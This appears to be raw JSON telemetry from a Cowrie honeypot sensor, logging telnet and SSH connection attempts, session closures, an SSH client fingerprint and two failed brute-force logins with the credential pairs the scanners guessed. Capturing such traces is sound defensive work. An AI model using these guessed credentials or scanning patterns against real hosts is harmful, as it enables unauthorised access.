{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:43.514686Z","src_ip":"80.94.92.182","session":"946c61a6255b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34906,"dst_ip":"10.17.0.5","dst_port":23,"session":"168f74fc2164","protocol":"telnet","message":"New connection: 62.210.97.77:34906 (10.17.0.5:23) [session: 168f74fc2164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:44.018152Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41450,"dst_ip":"10.17.0.5","dst_port":23,"session":"efbb7874a67f","protocol":"telnet","message":"New connection: 165.232.131.181:41450 (10.17.0.5:23) [session: efbb7874a67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:44.732935Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:44.853453Z","src_ip":"80.94.92.182","session":"946c61a6255b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.742060661315918,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:45.474901Z","src_ip":"165.232.131.181","session":"efbb7874a67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e94c75bda82","protocol":"telnet","message":"New connection: 62.210.97.77:34908 (10.17.0.5:23) [session: 1e94c75bda82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:45.669769Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35454,"dst_ip":"10.17.0.5","dst_port":23,"session":"eceeaa41b0ef","protocol":"telnet","message":"New connection: 65.60.27.33:35454 (10.17.0.5:23) [session: eceeaa41b0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:45.851564Z"}
{"eventid":"cowrie.session.closed","duration":40.852272272109985,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:46.035237Z","src_ip":"165.232.131.181","session":"bcfcfdd84824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.039434909820557,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:47.567860Z","src_ip":"38.54.119.93","session":"eb6b862156b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.141139507293701,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:47.988093Z","src_ip":"38.54.119.93","session":"42790cec06a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.79635047912598,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:48.919544Z","src_ip":"65.60.27.33","session":"8af55f61da55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.09296488761902,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:50.760602Z","src_ip":"62.210.97.77","session":"803825157d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97459077835083,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:52.863556Z","src_ip":"62.210.97.77","session":"c6f1980c1cf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"c608319a503e","protocol":"telnet","message":"New connection: 165.232.131.181:47202 (10.17.0.5:23) [session: c608319a503e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:53.475921Z"}
{"eventid":"cowrie.session.closed","duration":38.47380471229553,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:54.877341Z","src_ip":"62.210.97.77","session":"d466eedffb02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48464,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f8e06f4cc21","protocol":"telnet","message":"New connection: 165.232.131.181:48464 (10.17.0.5:23) [session: 1f8e06f4cc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:56.046335Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43966,"dst_ip":"10.17.0.5","dst_port":23,"session":"338cdf798431","protocol":"telnet","message":"New connection: 62.210.97.77:43966 (10.17.0.5:23) [session: 338cdf798431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:56.270268Z"}
{"eventid":"cowrie.session.closed","duration":41.9288592338562,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:57.182278Z","src_ip":"38.54.119.93","session":"676255aeeb82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853453636169434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:58.780902Z","src_ip":"62.210.97.77","session":"66a82064dc2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":55848,"dst_ip":"159.203.135.109","dst_port":22,"session":"84df3b154003","protocol":"ssh","message":"New connection: 94.156.152.18:55848 (159.203.135.109:22) [session: 84df3b154003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:01.183544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:01.189159Z","src_ip":"94.156.152.18","session":"84df3b154003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:01.317565Z","src_ip":"94.156.152.18","session":"84df3b154003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS4VCPU16GBAMD","message":"login attempt [root/QUEENVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:01.703858Z","src_ip":"94.156.152.18","session":"84df3b154003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53922,"dst_ip":"10.17.0.5","dst_port":23,"session":"b934967b7f63","protocol":"telnet","message":"New connection: 62.210.97.77:53922 (10.17.0.5:23) [session: b934967b7f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:02.453205Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:02.832680Z","src_ip":"94.156.152.18","session":"84df3b154003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.883673429489136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:08.569234Z","src_ip":"62.210.97.77","session":"a9f5319f35c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78859996795654,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:08.605913Z","src_ip":"165.232.131.181","session":"f1677d53327f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab22a7801a4","protocol":"telnet","message":"New connection: 38.54.119.93:50302 (10.17.0.5:23) [session: 4ab22a7801a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:09.776920Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1150e97d69d","protocol":"telnet","message":"New connection: 38.54.119.93:53274 (10.17.0.5:23) [session: d1150e97d69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:13.547449Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34494,"dst_ip":"10.17.0.5","dst_port":23,"session":"75874a02483d","protocol":"telnet","message":"New connection: 62.210.97.77:34494 (10.17.0.5:23) [session: 75874a02483d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:15.160526Z"}
{"eventid":"cowrie.session.closed","duration":7.502314567565918,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:17.279035Z","src_ip":"38.54.119.93","session":"4ab22a7801a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34510,"dst_ip":"10.17.0.5","dst_port":23,"session":"9626fa0bf83e","protocol":"telnet","message":"New connection: 62.210.97.77:34510 (10.17.0.5:23) [session: 9626fa0bf83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:17.493050Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34522,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75a55bca54c","protocol":"telnet","message":"New connection: 62.210.97.77:34522 (10.17.0.5:23) [session: f75a55bca54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:17.787748Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34534,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82574308559","protocol":"telnet","message":"New connection: 62.210.97.77:34534 (10.17.0.5:23) [session: a82574308559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:18.270514Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34538,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cec9c36dc5","protocol":"telnet","message":"New connection: 62.210.97.77:34538 (10.17.0.5:23) [session: f3cec9c36dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:18.383741Z"}
{"eventid":"cowrie.session.closed","duration":35.06422781944275,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:19.082235Z","src_ip":"62.210.97.77","session":"168f74fc2164","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.492824077606201,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:20.040131Z","src_ip":"38.54.119.93","session":"d1150e97d69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44524,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a164bad9f8a","protocol":"telnet","message":"New connection: 62.210.97.77:44524 (10.17.0.5:23) [session: 6a164bad9f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:20.098411Z"}
{"eventid":"cowrie.session.closed","duration":120.00229239463806,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:20.826201Z","src_ip":"168.121.192.73","session":"d220f56eaf3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.78723478317261,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:22.101190Z","src_ip":"165.232.131.181","session":"99e72d958b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.21717095375061,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:23.886721Z","src_ip":"62.210.97.77","session":"1e94c75bda82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59106,"dst_ip":"10.17.0.5","dst_port":23,"session":"80ce35b09d20","protocol":"telnet","message":"New connection: 165.232.131.181:59106 (10.17.0.5:23) [session: 80ce35b09d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:25.921369Z"}
{"eventid":"cowrie.session.closed","duration":31.51353168487549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:27.783698Z","src_ip":"62.210.97.77","session":"338cdf798431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56552,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f3a00b027c","protocol":"telnet","message":"New connection: 65.60.27.33:56552 (10.17.0.5:23) [session: 41f3a00b027c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:28.075389Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57412,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f0588c684c5","protocol":"telnet","message":"New connection: 192.211.53.160:57412 (159.203.135.109:23) [session: 0f0588c684c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:29.194724Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57410,"dst_ip":"159.203.135.109","dst_port":23,"session":"058697371fdd","protocol":"telnet","message":"New connection: 192.211.53.160:57410 (159.203.135.109:23) [session: 058697371fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:29.218678Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33056,"dst_ip":"10.17.0.5","dst_port":23,"session":"10cff042018b","protocol":"telnet","message":"New connection: 165.232.131.181:33056 (10.17.0.5:23) [session: 10cff042018b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:31.757486Z"}
{"eventid":"cowrie.session.closed","duration":38.49220633506775,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:31.968020Z","src_ip":"165.232.131.181","session":"c608319a503e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57420,"dst_ip":"159.203.135.109","dst_port":23,"session":"2180072589d7","protocol":"telnet","message":"New connection: 192.211.53.160:57420 (159.203.135.109:23) [session: 2180072589d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:32.254938Z"}
{"eventid":"cowrie.session.closed","duration":47.22150278091431,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:33.072957Z","src_ip":"65.60.27.33","session":"eceeaa41b0ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57912,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9ea35274af","protocol":"telnet","message":"New connection: 165.232.131.181:57912 (10.17.0.5:23) [session: db9ea35274af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:36.836934Z"}
{"eventid":"cowrie.session.closed","duration":42.538830518722534,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:38.585066Z","src_ip":"165.232.131.181","session":"1f8e06f4cc21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.35214900970459,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:39.805198Z","src_ip":"62.210.97.77","session":"b934967b7f63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43892,"dst_ip":"10.17.0.5","dst_port":23,"session":"69819d08a192","protocol":"telnet","message":"New connection: 38.54.119.93:43892 (10.17.0.5:23) [session: 69819d08a192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:42.695093Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54708,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcc757437e7","protocol":"telnet","message":"New connection: 62.210.97.77:54708 (10.17.0.5:23) [session: ddcc757437e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:50.920373Z"}
{"eventid":"cowrie.session.closed","duration":31.009973287582397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:51.108270Z","src_ip":"62.210.97.77","session":"6a164bad9f8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00032138824463,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:51.493267Z","src_ip":"62.210.97.77","session":"9626fa0bf83e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54017162322998,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:51.700576Z","src_ip":"62.210.97.77","session":"75874a02483d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74812698364258,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:53.535783Z","src_ip":"62.210.97.77","session":"f75a55bca54c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.39594793319702,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:54.666342Z","src_ip":"62.210.97.77","session":"a82574308559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51850,"dst_ip":"10.17.0.5","dst_port":23,"session":"395f8044bdb5","protocol":"telnet","message":"New connection: 38.54.119.93:51850 (10.17.0.5:23) [session: 395f8044bdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:55.190555Z"}
{"eventid":"cowrie.session.closed","duration":36.87755537033081,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:59:55.261127Z","src_ip":"62.210.97.77","session":"f3cec9c36dc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43832,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c3debd3bd5d","protocol":"telnet","message":"New connection: 165.232.131.181:43832 (10.17.0.5:23) [session: 7c3debd3bd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:00.259581Z"}
{"eventid":"cowrie.session.closed","duration":7.344068765640259,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:02.534497Z","src_ip":"38.54.119.93","session":"395f8044bdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44880,"dst_ip":"10.17.0.5","dst_port":23,"session":"a764ca06eb65","protocol":"telnet","message":"New connection: 165.232.131.181:44880 (10.17.0.5:23) [session: a764ca06eb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:05.935960Z"}
{"eventid":"cowrie.session.closed","duration":40.021597146987915,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:05.942841Z","src_ip":"165.232.131.181","session":"80ce35b09d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.57161569595337,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:08.766238Z","src_ip":"192.211.53.160","session":"0f0588c684c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.80609059333801,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:10.881371Z","src_ip":"65.60.27.33","session":"41f3a00b027c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0977303981781,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:10.934563Z","src_ip":"165.232.131.181","session":"db9ea35274af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.03710341453552,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:11.255677Z","src_ip":"192.211.53.160","session":"058697371fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33852,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc9c58148b4","protocol":"telnet","message":"New connection: 38.54.119.93:33852 (10.17.0.5:23) [session: 1bc9c58148b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:11.594709Z"}
{"eventid":"cowrie.session.closed","duration":40.73623442649841,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:12.991064Z","src_ip":"192.211.53.160","session":"2180072589d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.49142408370972,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:13.248815Z","src_ip":"165.232.131.181","session":"10cff042018b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36568,"dst_ip":"10.17.0.5","dst_port":23,"session":"163d6c61ab67","protocol":"telnet","message":"New connection: 38.54.119.93:36568 (10.17.0.5:23) [session: 163d6c61ab67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:15.667499Z"}
{"eventid":"cowrie.session.closed","duration":4.824539661407471,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:20.491827Z","src_ip":"38.54.119.93","session":"163d6c61ab67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59418,"dst_ip":"10.17.0.5","dst_port":23,"session":"70682b2576fc","protocol":"telnet","message":"New connection: 65.60.27.33:59418 (10.17.0.5:23) [session: 70682b2576fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:20.873762Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33246,"dst_ip":"10.17.0.5","dst_port":23,"session":"7902b5154529","protocol":"telnet","message":"New connection: 65.60.27.33:33246 (10.17.0.5:23) [session: 7902b5154529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:22.472509Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"57eeb021e693","protocol":"telnet","message":"New connection: 65.60.27.33:37244 (10.17.0.5:23) [session: 57eeb021e693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:26.210983Z"}
